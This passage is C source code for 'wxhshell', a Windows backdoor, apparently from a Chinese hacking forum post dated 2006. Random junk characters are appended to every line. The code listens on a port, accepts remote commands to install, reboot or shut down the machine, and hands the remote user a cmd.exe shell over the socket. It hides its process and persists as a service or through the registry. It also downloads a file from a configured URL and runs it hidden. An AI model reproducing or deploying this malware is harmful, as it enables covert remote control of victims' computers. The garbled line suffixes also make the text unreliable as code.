  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tA,#!Z0  
  } gWqO5C~h  
  else { }Y{aVn&C  
L%3m_'6QP  
    switch(cmd[0]) { xt{f+c@P  
  k3:8T#N>!O  
  // 帮助 T3-8AUCK8?  
  case '?': { ?AL;m.X-@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Stq [[S5P  
    break; a.oZ}R7'Y  
  } > `uk2QdC  
  // 安装 {e>E4(  
  case 'i': { IV#kF}9$  
    if(Install()) KINKq`Sx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GpW5)a  
    else Ru1I,QvCj"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U}r^M( s!  
    break; g{]C@,W  
    } uU7s4oJ|  
  // 卸载 h`1{tu  
  case 'r': { j|WuOZm\0  
    if(Uninstall()) ISp'4H7R+N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CB7 6  
    else Oyfc!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }!^/<|$=  
    break; 9/La _ :K  
    } btQDG  
  // 显示 wxhshell 所在路径 ^p'iX4M  
  case 'p': { I eQF+Xz  
    char svExeFile[MAX_PATH]; {;iG}jK  
    strcpy(svExeFile,"\n\r"); Z$8 X1(o  
      strcat(svExeFile,ExeFile); 3A~53W$M  
        send(wsh,svExeFile,strlen(svExeFile),0); n'dxa<F2|  
    break; Pk9 4O  
    } 3IrmDT  
  // 重启 Do&em8i z  
  case 'b': { R0 g-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1|+Z mo"  
    if(Boot(REBOOT)) Pf?*bI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,gvv297  
    else { ujo3"j[b  
    closesocket(wsh); l1Zf#]x  
    ExitThread(0); )\iO wA  
    } hx'p0HDta  
    break; OS X5S:XS  
    } %*>ee[^L ,  
  // 关机 \~3g*V  
  case 'd': { jz\LI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B%|cp+/  
    if(Boot(SHUTDOWN)) 8T}Ycm5}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M.h)]S>  
    else { [sM~B  
    closesocket(wsh); qre.^6x  
    ExitThread(0); &=seIc>x@  
    } Bt8   
    break; d[b(+sHp a  
    } FwdRM)1)  
  // 获取shell F]#rH   
  case 's': { {"cS:u  
    CmdShell(wsh); kt.y"^  
    closesocket(wsh); $@[`/Uh   
    ExitThread(0); Jgf73IX[  
    break; #$<7  
  } yK1Z&7>J>  
  // 退出 Sdc yL%6!  
  case 'x': { `M "O #  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?qn0].  
    CloseIt(wsh); hkS K;  
    break; kW'xuZ&  
    } -^y$RJC  
  // 离开 YQB.3  
  case 'q': { HzW`j"\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f}4bnu3  
    closesocket(wsh); KUr}?sdz  
    WSACleanup(); R'#[}s  
    exit(1); ;8Z\bHQ>  
    break; N8<Wm>GLX~  
        } +/g/+B_b  
  } E1atXx  
  } p4 \r`  
1gq(s2izy  
  // 提示信息 DI P(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4FmT.P  
} &x}a  
  } yv.UNcP?  
0?D`|x_  
  return; 4t(V)1+  
} m=Z1DJG  
}CR@XD}[  
// shell模块句柄 N2!HkUy2  
int CmdShell(SOCKET sock) XO*|P\#^  
{ qusX]Tst z  
STARTUPINFO si; 3Mvm'T:[  
ZeroMemory(&si,sizeof(si)); E~=`Ac,G2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hFDY2Cp]D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $'SWH+G  
PROCESS_INFORMATION ProcessInfo; $6BD6\@  
char cmdline[]="cmd"; yu3T5@Ww  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^Vl{IsY  
  return 0; {8NnRnzU  
} DEGEr-  
Ms^U`P^V~P  
// 自身启动模式 :hre|$@{a  
int StartFromService(void) E!d;ym  
{ __}j {Buk  
typedef struct TFX*kk &R  
{ ;QT.|.t6  
  DWORD ExitStatus; #6])\  
  DWORD PebBaseAddress; R$'0<y8E*]  
  DWORD AffinityMask; B(x$ Ln"y[  
  DWORD BasePriority; l;4},N  
  ULONG UniqueProcessId; PD @]2lY(  
  ULONG InheritedFromUniqueProcessId; ,W"[q~  
}   PROCESS_BASIC_INFORMATION; (T1)7%Xs  
 V~V_+  
PROCNTQSIP NtQueryInformationProcess; #q7`"E=M"  
 !,rp|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,_K /e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d" T">Og)  
uG1)cm B}  
  HANDLE             hProcess; YlI/~J  
  PROCESS_BASIC_INFORMATION pbi; YT)jBS~&  
O|t@p=]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j@jaFsX |  
  if(NULL == hInst ) return 0; S>W_p~ @  
Z.a`S~U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A}(&At%n4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !/+'O}@-E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _]SV@q^  
|hsg= LX  
  if (!NtQueryInformationProcess) return 0; [.M<h^xrB  
?a ~59!u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W^}fAcQKH  
  if(!hProcess) return 0; aCu 8 D!  
\2q!2XWgK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [:cy.K!Uo%  
Wb*A};wE  
  CloseHandle(hProcess); n H)6mOYp  
<cQ)*~hN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L&[uE;ro  
if(hProcess==NULL) return 0; Fa}3UVm  
M2UF3xD   
HMODULE hMod; jf_xm=n  
char procName[255];  .;ptgX  
unsigned long cbNeeded; 0PiD<*EA  
+!dWQ=W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Qh4@Nl#Ncf  
idWYpU>gC  
  CloseHandle(hProcess); ZT*RD2,  
+Y7"!wYR>  
if(strstr(procName,"services")) return 1; // 以服务启动 #S?xRqkc  
('H[[YODh  
  return 0; // 注册表启动 ~j%g?;#*  
} 5)g6yV'  
:VP*\K/:  
// 主模块 B d#D*"gx  
int StartWxhshell(LPSTR lpCmdLine) [,A*nU$  
{ rkdf htpI  
  SOCKET wsl; 1P (5+9"s  
BOOL val=TRUE; aS ]bTYJ'  
  int port=0; z8HOig?  
  struct sockaddr_in door; ,>H(l$n  
gi26Dtk(h  
  if(wscfg.ws_autoins) Install(); X?m"86L  
V)[ta`9  
port=atoi(lpCmdLine);  V6opV&  
nVkPYeeT  
if(port<=0) port=wscfg.ws_port; J2rw4L  
4bV&U=  
  WSADATA data; tOn 6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~RlsgtX"  
4/6?wX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^FaBaDcnl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YNEPu:5J  
  door.sin_family = AF_INET; SFKfsb!C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e^;<T9Esr  
  door.sin_port = htons(port); L9,;zkgo  
0L3v[%_j"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O=2"t%Gc  
closesocket(wsl); {0a (R2nB  
return 1; L>4!@L5)  
} g^ @9SU  
nnP] x [  
  if(listen(wsl,2) == INVALID_SOCKET) { ^[]q/v'3m!  
closesocket(wsl); `:=af[n   
return 1; )Sz2D[@n  
} ${(c `X  
  Wxhshell(wsl); k!9LJ%Xh  
  WSACleanup(); AoL2Wrk]\B  
P0 R8 f  
return 0;  t 0 $}  
5u\#@% \6  
} ,;RAPT4  
j c%  
// 以NT服务方式启动 b FV+|0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wq5Nc  
{ @xKfqKoqg  
DWORD   status = 0; ]+C;C  
  DWORD   specificError = 0xfffffff; XTzz/.T;Z  
^0 zWiX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,C4gA(')K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |wef[|@%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0keqtr  
  serviceStatus.dwWin32ExitCode     = 0; 28/At  
  serviceStatus.dwServiceSpecificExitCode = 0; s&>U-7fx"  
  serviceStatus.dwCheckPoint       = 0; %(f&).W  
  serviceStatus.dwWaitHint       = 0; ssf.ef$  
@-^jbmu^ P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L?aaR %6#  
  if (hServiceStatusHandle==0) return; ]@Gw$  
#0;H'GO?c  
status = GetLastError(); FLWQY,  
  if (status!=NO_ERROR) w.AF7.X`1  
{ rsr}%J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vKX6@eg"  
    serviceStatus.dwCheckPoint       = 0; lWiC$  
    serviceStatus.dwWaitHint       = 0; (z8^^j[  
    serviceStatus.dwWin32ExitCode     = status; fga{ b7  
    serviceStatus.dwServiceSpecificExitCode = specificError; &]d-R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wciw6.@  
    return; 2q4dCbJ!  
  } erhxZ|."P  
P~6QRm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qD#E, "%  
  serviceStatus.dwCheckPoint       = 0; DK\Ud6w  
  serviceStatus.dwWaitHint       = 0; *x0nAo_n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s":\ >  
} 5eP0W#  
[/P}1 c[)U  
// 处理NT服务事件,比如:启动、停止 3U.?Jbm-8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tTX@Bb8  
{ [,@gSb|D?  
switch(fdwControl) r~<I5MZY  
{ &Fw8V=Pw  
case SERVICE_CONTROL_STOP: [ X7LV  
  serviceStatus.dwWin32ExitCode = 0; +{eZ@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mN!5JZ' 2  
  serviceStatus.dwCheckPoint   = 0; MfJs?N0  
  serviceStatus.dwWaitHint     = 0; ?3=D-Xrb  
  { GS<aXh k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4>JDo,AWy  
  } D&)w =qIu  
  return; |i/Iv  
case SERVICE_CONTROL_PAUSE: |I0O|Zdv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q?9x0L  
  break; RV%aFI )  
case SERVICE_CONTROL_CONTINUE: :!fP~(R'm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |FR'?y1  
  break; L`iC?<}  
case SERVICE_CONTROL_INTERROGATE: O8!> t7x  
  break; t;^NgkP{$  
}; Ke 5fe#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?;q  
} Y{Yp N  
vX9B^W||x  
// 标准应用程序主函数 #]g9O?0$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &efwfnG<  
{ J2va Kl  
]j^V5y"  
// 获取操作系统版本 2 c%*u {=:  
OsIsNt=GetOsVer(); #iZ%CY\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^Z6N&s#6  
! u4'1jd[d  
  // 从命令行安装 Vk3xWD~  
  if(strpbrk(lpCmdLine,"iI")) Install(); "Z\^dR  
`1 tD&te0  
  // 下载执行文件 xs'vd:l.Pp  
if(wscfg.ws_downexe) { N:_U2[V^d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MDyPwv\  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4mqA*c%6S  
} ljS~>&  
o<J_?7c~}  
if(!OsIsNt) { |= xK-;qs  
// 如果时win9x,隐藏进程并且设置为注册表启动 NHL -ll-R  
HideProc(); 96 oztUK  
StartWxhshell(lpCmdLine); ;$0)k(c9  
} Sz"rp9x+  
else f0<'IgN  
  if(StartFromService()) 2V-zmyJs5  
  // 以服务方式启动 zG[GyyAQ  
  StartServiceCtrlDispatcher(DispatchTable); vv9=g*"j  
else qYwEPGa\  
  // 普通方式启动 O<:"Irq\qr  
  StartWxhshell(lpCmdLine); [|:kS  
*j`{ K  
return 0; @~Uu]1  
}
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只看该作者 1 发表于: 2006-10-10
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